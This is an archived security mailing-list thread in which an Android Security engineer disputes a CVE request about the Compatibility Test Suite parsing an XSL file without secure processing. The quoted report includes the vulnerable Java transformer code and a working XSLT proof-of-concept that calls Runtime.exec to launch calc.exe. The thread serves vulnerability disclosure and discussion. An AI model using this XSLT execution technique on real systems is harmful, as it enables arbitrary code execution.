Message-ID: <CAFJ0LnFeEFF8uFvpLBu1v7SgFO2jatRb0zEtka3KnPxeYcuneA@mail.gmail.com>
Date: Sun, 19 Oct 2014 05:20:50 -0700
From: Nick Kralevich <nnk@...gle.com>
To: oss-security@...ts.openwall.com
Cc: fulldisclosure@...lists.org
Subject: Re: [FD] [oss-security] CVE request: remote code execution in
	Android CTS

Nick from the Android Security team here.

In the future, please feel free to send these kinds of reports to
security@...roid.com. Please see
http://developer.android.com/guide/faq/security.html#issue for contact
information.

Android's Compatibility Test Suite (CTS) is an executable software
package intended to be downloaded and run from your computer. Please
see https://source.android.com/compatibility/cts-intro.html for more
information.

The files within the software package are not intended to be modified.

If I'm reading your report correctly, you're claiming that an attacker
who has the ability to locally modify a software package has the
ability to get code execution. This isn't a security bug. What you're
describing is another example of
http://blogs.msdn.com/b/oldnewthing/archive/2007/10/31/5788080.aspx .
You're on the wrong side of the airtight hatch.

If you are aware of ways to exploit this functionality that doesn't
involve tricking the user into replacing a file, please feel free to
contact us at security@...roid.com.

-- Nick

On Sun, Oct 19, 2014 at 2:28 AM, Lord Tuskington <l.tuskington@...il.com> wrote:
> CTS parses api-coverage.xsl without providing the FEATURE_SECURE_PROCESSING
> option. See lines 60-67 of
> cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/HtmlReport.java:
>
> InputStream xsl =
> CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
> StreamSource xslSource = new StreamSource(xsl);
> TransformerFactory factory = TransformerFactory.newInstance();
> Transformer transformer = factory.newTransformer(xslSource);
>
> StreamSource xmlSource = new StreamSource(xmlIn);
> StreamResult result = new StreamResult(out);
> transformer.transform(xmlSource, result);
>
> An attacker who is able to control api-coverage.xsl could inject arbitrary
> code into it, which would be executed. For example:
>
> <xsl:stylesheet version="1.0"
> xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
> xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
> xmlns:str="http://xml.apache.org/xalan/java/java.lang.String"
>>
> <xsl:output method="text"/>
>     <xsl:template match="/">
>        <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
>        <xsl:variable name="RT" select="rt:getRuntime()"/>
>        <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
>        <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
>     </xsl:template>
> </xsl:stylesheet>
>
> Would pop a calc. This crosses a trust boundary because an attacker could
> provide an XSL stylesheet that, for example, has enhanced visual layout. A
> person consuming that stylesheet would assume it could not possibly contain
> arbitrary code that would be executed, as it's just a stylesheet. The XSL
> extensions to execute code should be disabled by passing
> FEATURE_SECURE_PROCESSING.
>
> Regards
>
> Lord Tuskington
>
> Chief Financial Pinniped
>
> TuskCorp



-- 
Nick Kralevich | Android Security | nnk@...gle.com | 650.214.4037

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists